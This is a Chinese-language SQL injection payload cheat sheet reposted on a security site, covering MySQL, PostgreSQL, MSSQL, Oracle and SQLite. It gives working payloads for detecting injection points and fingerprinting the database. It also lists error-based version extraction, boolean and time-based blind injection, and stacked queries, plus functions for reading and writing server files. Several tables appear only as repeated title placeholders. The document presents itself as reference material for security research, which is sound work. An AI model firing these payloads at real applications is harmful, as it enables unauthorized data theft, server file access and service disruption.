sql 注入试试这篇文章(建议收藏)

admin 2024年10月18日22:20:02评论19 views字数 5899阅读19分39秒阅读模式

sql 注入试试这篇文章(建议收藏)

这是一份经过验证的 SQL 注入攻击载荷和技巧的参考手册,涵盖了五种最受欢迎的数据库变体及其衍生产品(MySQL、PostgreSQL、MSSQL/SQL Server、Oracle、SQLite)。

前置知识

一些攻击载荷包含需要在实际使用前替换为特定值的占位符。占位符用 <> 表示,并且是大写的,例如 <START>。替换整个占位符,包括 <>。

避免 OR <true> (OR 1=1)

除了 CTFs(Capture The Flag,夺旗赛),在 SQL 注入中应避免使用 OR表达式(例如 ' OR 1=1 -- -),除非绝对必要。

我之前写过文章,现在不多说了。

如果你有一个“有效值”,在进行 SQL 注入时几乎不需要使用 OR <true>。有效值是指在应用程序中返回“积极”结果的值,例如返回 1 个或多个结果的搜索词,映射到实际资源(例如用户、产品等)的 ID,或者有效的用户名。

sql语句破坏与修复方法

这是一种简单但通常可靠的方法,用于发现基本的 SQL 注入。

首先,通过在有效值中注入单个或双引号来“破坏”语句(例如 username=admin')。

然后,依次替换注入的引号为以下“修复”方法,看看是否有一个能够产生原始(未注入)的响应:

修复方法
' '
'||'
'+'
' AND '1'='1
' -- -

在某些情况下,我们的“修复”方法都不起作用,因为我们是在整数值中注入。在这些情况下,尝试以下修复方法。注意,每一种方法都以空格开头:

修复方法
-- -
AND 1=1
AND 1=1 -- -

例如,假设存在某种搜索功能,搜索词 shirt 返回 23 个结果。因此,有效值是 shirt,与之相关的有效响应是包含 23 个结果的页面。

在搜索词 shirt' 后追加一个单引号会破坏 SQL 语句,现在返回 0 个结果。请注意,这也可能是因为搜索词 shirt' 现在无效,但“修复”过程应该能够确定这一点。

用“修复”方法之一替换单引号,例如 shirt' '。这个新的搜索词再次返回 23 个结果。由于这与原始有效响应匹配,因此非常有可能该搜索功能存在 SQL 注入漏洞。

这可以通过尝试进行 UNION 注入攻击,或者通过注入两个布尔攻击载荷来确认:

shirt' AND '1'='1
shirt' AND '1'='0'

第一个应该返回原始有效响应(23 个结果),而第二个应该返回 0 个结果。

识别变体

一旦找到潜在的注入点,可以通过按顺序注入以下攻击载荷,直到返回正面结果,从而识别数据库变体(例如 MySQL、PostgreSQL):

顺序 攻击载荷 如果有效
1 AND 'foo' 'bar' = 'foobar' MySQL
2 AND DATALENGTH('foo') = 3 MSSQL
3 AND TO_HEX(1) = '1' PostgreSQL
4 AND LENGTHB('foo') = '3' Oracle
5 AND GLOB('foo*', 'foobar') = 1 SQLite

注释

这个注释语法可以用来向 SQL 语句添加注释,对于注释掉注入后的任何内容以及绕过某些过滤器非常有用。请注意,-- 注释需要在 -- 后有一个空格才有效,而 /comment/ 是内联注释。

sql 注入试试这篇文章(建议收藏)

字符串拼接

这些函数/操作符可以用来将两个或更多的字符串拼接在一起。

sql 注入试试这篇文章(建议收藏)

字符串截取

这些函数可以用来选择字符串的一部分。START 值应设置为 1(而不是 0),以从第一个字符开始子字符串。为了绕过某些 WAF/过滤,还包括了无逗号版本。

sql 注入试试这篇文章(建议收藏)

长度

这些函数计算字符串的长度,可以是字节数或字符数(因为某些字符可能由于 Unicode 而有多个字节)。

sql 注入试试这篇文章(建议收藏)

组合拼接

这些函数将多行结果的值拼接成单个字符串。将替换为你想要分隔每个值的字符串/字符(例如逗号)。

变体 函数
MySQL GROUP_CONCAT(expression, '')
PostgreSQL STRING_AGG(expression, '')
MSSQL STRING_AGG(expression, '')
Oracle LISTAGG(expression, '')
SQLite GROUP_CONCAT(expression, '')

将字符转换为整数以进行比较

对于盲 SQL 注入来说非常有用,可以确定字符的范围。请注意,MySQL 和 Oracle 的函数输出十六进制数字,而其他函数输出十进制。

变体 函数 输出
MySQL HEX('a') 61
PostgreSQL ASCII('a') 97
MSSQL UNICODE('a') 97
Oracle RAWTOHEX('a') 61
SQLite UNICODE('a') 97

限制和偏移查询

用于限制查询结果为特定行数,以及偏移起始行的语法。为了绕过某些 WAF/过滤,还包括了无逗号版本。

sql 注入试试这篇文章(建议收藏)

数据库版本

提供数据库版本信息的函数和操作符。

sql 注入试试这篇文章(建议收藏)

当前数据库/架构

返回当前选定的数据库/架构的查询。

sql 注入试试这篇文章(建议收藏)

列出数据库

返回所有数据库/架构的列表的查询。

sql 注入试试这篇文章(建议收藏)

列出表格

返回给定数据库/架构中所有表格的列表的查询。

sql 注入试试这篇文章(建议收藏)

列出列

返回给定表格和数据库/架构对中所有列的列表的查询。

sql 注入试试这篇文章(建议收藏)

布尔错误推理利用

如果 1=1 条件 为真,则这些攻击载荷会导致 SQL 出现错误。将 1=1 替换为你想测试的条件;如果错误以某种可衡量的方式(例如 500 内部服务器错误)回传到响应中,则条件为真。

sql 注入试试这篇文章(建议收藏)

基于错误的利用

这些注入攻击载荷应该会导致数据库错误,并在该错误中返回数据库变体的版本信息。

MySQL

攻击载荷
AND GTID_SUBSET(CONCAT('~',(SELECT version()),'~'),1337) -- -
AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('~',(SELECT version()),'~')) USING utf8))) -- -
AND EXTRACTVALUE(1337,CONCAT('.','~',(SELECT version()),'~')) -- -
AND UPDATEXML(1337,CONCAT('.','~',(SELECT version()),'~'),31337) -- -
OR 1 GROUP BY CONCAT('~',(SELECT version()),'~',FLOOR(RAND(0)*2)) HAVING MIN(0) -- -
AND EXP(~(SELECT * FROM (SELECT CONCAT('~',(SELECT version()),'~','x'))x)) -- -

PostgreSQL

攻击载荷
AND 1337=CAST('~'||(SELECT version())::text||'~' AS NUMERIC) -- -
AND (CAST('~'||(SELECT version())::text||'~' AS NUMERIC)) -- -
AND CAST((SELECT version()) AS INT)=1337 -- -
AND (SELECT version())::int=1 -- -

MSSQL

攻击载荷
AND 1337 IN (SELECT ('~'+(SELECT @@version)+'~')) -- -
AND 1337=CONVERT(INT,(SELECT '~'+(SELECT @@version)+'~')) -- -
AND 1337=CONCAT('~',(SELECT @@version),'~') -- -

Oracle

攻击载荷
AND 1337=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'~'||(REPLACE(REPLACE(REPLACE(REPLACE((SELECT banner FROM v$version),' ','_'),'$','(DOLLAR)'),'@','(AT)'),'#','(HASH)'))||'~'||CHR(62))) FROM DUAL) -- -
AND 1337=UTL_INADDR.GET_HOST_ADDRESS('~'||(SELECT banner FROM v$version)||'~') -- -
AND 1337=CTXSYS.DRITHSX.SN(1337,'~'||(SELECT banner FROM v$version)||'~') -- -
AND 1337=DBMS_UTILITY.SQLID_TO_SQLHASH('~'||(SELECT banner FROM v$version)||'~') -- -

基于时间的利用

简单的基于时间的注入

注意,这些注入攻击载荷具有固有危险性,因为 sleep 函数可能会执行多次。它们会导致数据库每次查询评估时休眠 10 秒。

这些只应在确定查询只会评估一行时使用。

变体 攻击载荷
MySQL AND SLEEP(10)=0
PostgreSQL AND 'RANDSTR'||PG_SLEEP(10)='RANDSTR'
MSSQL AND 1337=(CASE WHEN (1=1) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE 1337 END)
Oracle AND 1337=(CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('RANDSTR',10) ELSE 1337 END)
SQLite AND 1337=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

复杂的基于时间的注入

这些注入攻击载荷是“安全的”,并且每个语句只应该休眠一次(10 秒)。将 1=1 替换为你想测试的条件;如果出现 10 秒的延迟,则条件为真。

变体 攻击载荷
MySQL AND (SELECT 1337 FROM (SELECT(SLEEP(10-(IF((1=1),0,10))))) RANDSTR)
PostgreSQL AND 1337=(CASE WHEN (1=1) THEN (SELECT 1337 FROM PG_SLEEP(10)) ELSE 1337 END)
MSSQL AND 1337=(CASE WHEN (1=1) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE 1337 END)
Oracle AND 1337=(CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('RANDSTR',10) ELSE 1337 END)
SQLite AND 1337=(CASE WHEN (1=1) THEN (SELECT 1337 FROM (SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))))) ELSE 1337 END)

堆栈基础注入

通常,如果支持堆栈基础注入,它只能通过造成基于时间的延迟来检测。这些注入攻击载荷应该会造成 10 秒的延迟:

变体 攻击载荷
MySQL ; SLEEP(10) -- -
PostgreSQL ; PG_SLEEP(10) -- -
MSSQL ; WAITFOR DELAY '0:0:10' -- -
Oracle ; DBMS_PIPE.RECEIVE_MESSAGE('RANDSTR',10) -- -
SQLite ; RANDOMBLOB(1000000000/2) -- -

这些注入攻击载荷如果 1=1 条件为真,应该会造成 10 秒的延迟。将 1=1 替换为你想测试的条件;如果出现 10 秒的延迟,则条件为真。

变体 攻击载荷
MySQL ; SELECT IF((1=1),SLEEP(10),1337)
PostgreSQL ; SELECT (CASE WHEN (1=1) THEN (SELECT 1337 FROM PG_SLEEP(10)) ELSE 1337 END)
MSSQL ; IF(1=1) WAITFOR DELAY '0:0:10'
Oracle ; SELECT CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('RANDSTR',10) ELSE 1337 END FROM DUAL
SQLite ; SELECT (CASE WHEN (1=1) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))) ELSE 1337 END)

读取本地文件

这些函数读取本地文件的内容。Oracle 方法只有在堆栈注入可能的情况下才能发生。SQLite 的 readfile 不是核心函数。

变体 函数
MySQL LOAD_FILE('/path/to/file')
PostgreSQL PG_READ_FILE('/path/to/file')
MSSQL OPENROWSET(BULK 'C:pathtofile', SINGLE_CLOB)
Oracle utl_file.get_line(utl_file.fopen('/path/to/','file','R'),)
SQLite readfile('/path/to/file')

写入本地文件

这些语句将内容写入本地文件。PostgreSQL、MSSQL 和 Oracle 方法只有在堆栈注入可能的情况下才能发生。MSSQL 需要启用“Ole Automation Procedures”。

变体 语句
MySQL SELECT 'contents' INTO OUTFILE '/path/to/file'
PostgreSQL COPY (SELECT 'contents') TO '/path/to/file'
MSSQL execute spWriteStringToFile 'contents', 'C:pathto', 'file'
Oracle utl_file.put_line(utl_file.fopen('/path/to/','file','R'),)
SQLite SELECT writefile('/path/to/file', column_name) FROM table_name

执行操作系统命令

这些语句执行本地操作系统命令。PostgreSQL、MSSQL 和第二个 Oracle 方法只有在堆栈注入可能的情况下才能发生。第一个 Oracle 方法需要 OS_Command 包。

sql 注入试试这篇文章(建议收藏)

参考资料

这里包含的大部分信息来自于我对各种注入和数据库变体的研究/实验。然而,一些攻击载荷要么是从流行的 SQL 注入工具 SQLmap 中获取的,要么基于该工具中的攻击载荷。

原文始发于微信公众号(独眼情报):sql 注入试试这篇文章(建议收藏)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月18日22:20:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   sql 注入试试这篇文章(建议收藏)https://cn-sec.com/archives/3285752.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息